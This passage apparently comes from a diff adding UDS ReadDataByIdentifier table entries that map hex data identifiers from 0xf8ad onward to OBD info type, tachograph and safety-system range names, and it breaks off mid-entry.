+UDS_RDBI.dataIdentifiers[0xf8ad] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ae] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8af] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b0] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b1] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b2] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b3] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b4] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b5] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b6] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b7] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b8] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8b9] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ba] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8bb] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8bc] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8bd] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8be] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8bf] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c0] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c1] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c2] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c3] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c4] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c5] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c6] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c7] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c8] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8c9] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ca] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8cb] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8cc] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8cd] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ce] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8cf] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d0] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d1] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d2] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d3] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d4] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d5] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d6] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d7] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d8] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8d9] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8da] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8db] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8dc] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8dd] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8de] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8df] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e0] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e1] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e2] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e3] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e4] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e5] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e6] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e7] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e8] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8e9] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ea] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8eb] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ec] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ed] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ee] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ef] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f0] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f1] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f2] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f3] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f4] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f5] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f6] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f7] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f8] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8f9] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8fa] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8fb] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8fc] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8fd] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8fe] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ff] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf900] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf901] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf902] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf903] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf904] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf905] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf906] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf907] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf908] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf909] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf90a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf90b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf90c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf90d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf90e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf90f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf910] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf911] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf912] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf913] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf914] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf915] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf916] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf917] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf918] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf919] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf91a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf91b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf91c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf91d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf91e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf91f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf920] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf921] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf922] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf923] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf924] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf925] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf926] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf927] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf928] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf929] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf92a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf92b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf92c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf92d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf92e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf92f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf930] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf931] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf932] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf933] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf934] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf935] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf936] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf937] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf938] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf939] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf93a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf93b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf93c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf93d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf93e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf93f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf940] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf941] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf942] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf943] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf944] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf945] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf946] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf947] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf948] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf949] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf94a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf94b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf94c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf94d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf94e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf94f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf950] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf951] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf952] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf953] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf954] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf955] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf956] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf957] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf958] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf959] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf95a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf95b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf95c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf95d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf95e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf95f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf960] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf961] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf962] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf963] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf964] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf965] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf966] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf967] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf968] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf969] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf96a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf96b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf96c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf96d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf96e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf96f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf970] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf971] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf972] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf973] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf974] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf975] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf976] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf977] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf978] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf979] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf97a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf97b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf97c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf97d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf97e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf97f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf980] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf981] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf982] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf983] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf984] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf985] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf986] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf987] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf988] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf989] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf98a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf98b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf98c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf98d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf98e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf98f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf990] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf991] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf992] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf993] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf994] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf995] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf996] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf997] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf998] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf999] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf99a] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf99b] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf99c] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf99d] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf99e] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf99f] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a0] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a1] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a2] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a3] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a4] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a5] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a6] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a7] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a8] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9a9] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9aa] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ab] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ac] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ad] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ae] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9af] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b0] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b1] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b2] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b3] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b4] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b5] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b6] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b7] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b8] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9b9] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ba] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9bb] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9bc] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9bd] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9be] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9bf] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c0] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c1] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c2] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c3] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c4] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c5] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c6] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c7] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c8] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9c9] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ca] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9cb] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9cc] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9cd] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ce] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9cf] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d0] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d1] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d2] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d3] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d4] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d5] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d6] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d7] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d8] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9d9] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9da] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9db] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9dc] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9dd] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9de] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9df] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e0] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e1] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e2] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e3] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e4] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e5] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e6] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e7] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e8] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9e9] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ea] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9eb] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ec] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ed] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ee] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ef] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f0] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f1] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f2] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f3] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f4] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f5] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f6] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f7] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f8] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9f9] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9fa] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9fb] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9fc] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9fd] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9fe] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xf9ff] = "tachographPIds_F900_F9FF" +UDS_RDBI.dataIdentifiers[0xfa00] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa01] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa02] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa03] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa04] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa05] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa06] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa07] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa08] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa09] = 